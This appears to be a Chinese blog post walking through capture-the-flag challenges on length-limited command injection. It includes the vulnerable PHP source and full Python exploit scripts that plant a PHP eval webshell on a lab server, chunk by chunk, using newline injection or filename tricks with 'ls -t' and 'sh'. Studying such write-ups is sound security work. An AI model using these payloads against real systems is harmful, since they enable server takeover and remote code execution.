美文网首页
web-x位可控的命令执行

web-x位可控的命令执行

作者: Watanuki | 来源:发表于2020-07-02 19:14 被阅读0次

    自有平台的命令执行基础练习题wp

    exec2:13位可控

    先试着提交几个。

    # ip=127.0.0.1%0als /
    flag_sGtVHR6EH6fZVewGaUdCDNIs7P3DXZg9
    # ip=0.0.0.0%0a12345678901234
    22ip 长度错误!
    

    那么就开始在13个可控下写shell,echo -n {}<>>1,准确的说只有1个字符可以控制。写入后在根目录找到flag。

    import requests
    
    url = "http://10.154.7.128:28657/exec.php"
    payload = "echo '<?php @eval($_POST[1]);?>' > 1.php " #后面的空格一定要有,没有就不行。。。我也不知道为什么。。
    
    for i in payload: 
        data = {"ip":"0.0.0.0\necho -n \\{}>>1".format(i)} #python里%0a会被url编码,可以用\n,会自动转成%0a。转义符不能少。
        res = requests.post(url,data=data)
        print(data,res.text)
    print ("[*] bash shell upload successful!")
    
    #检查一下
    data={"ip":"0.0.0.0;cat 1"}
    res=requests.post(url,data=data)
    print(res.text)
    
    data={"ip":"0.0.0.0;bash 1"}
    res=requests.post(url,data=data)
    
    shell="http://10.154.7.128:28657/1.php"
    res=requests.get(shell)
    if  res.status_code == 200:
        print ("[*] get shell successful")
    

    exec3:7位可控

    题目源码

    <?php
    if(isset($_GET[1])){
         if(strlen($_GET[1])<8){
              echo shell_exec($_GET[1]);
         }
    }
    else{
         show_source(__FILE__);
    }
    
    ?>
    

    不够长度写内容,只能写文件名然后ls -t倒序排序。
    连接文件名的时候注意给末尾留个\的位置

    import requests,base64
    
    PORT = 28014
    url = "http://10.154.7.128:{}/exec.php?1={}"
    
    payload = str(base64.b64encode(b'<?php eval($_GET[2]);'))[2:-1]
    payload = "echo {}|base64 -d>12.php".format(payload) #因为用1.php刚好会断在.开头,变成隐藏文件……所以用12.php
    payload = payload+' '*(3-len(payload)%3) if len(payload)%3 else payload
    print(payload)
    print("[+]start attack!!!")
    for i in range(len(payload),0,-3):
        shell = payload[i-3:i].replace(' ','\\ ').replace('|','\\|').replace('>','\\>')
        shell = '>'+shell+'\\' if i!=len(payload) else '>'+shell  #直接ls会有换行符。每一句末尾加个\表示未结束,换行继续写。
        requests.get(url.format(PORT,shell))
        print("[*]" + url.format(PORT,shell))
    
    res = requests.get(url.format(PORT,'ls -t>0'))  
    #res = requests.get(url.format(PORT,'cat 0'))
    #print("[*]" + res.text)  
    
    requests.get(url.format(PORT,'sh 0')) 
    try:
        test = requests.get("http://10.154.7.128:{}/12.php".format(PORT))
        if test.status_code == requests.codes.ok:
            print("[*]Attack success!!!")
    except:
        pass
    

    exec4:看到还有5位可控字符的。留到以后补充吧。。。

    相关文章

      网友评论

          本文标题:web-x位可控的命令执行

          本文链接:https://www.haomeiwen.com/subject/msdlqktx.html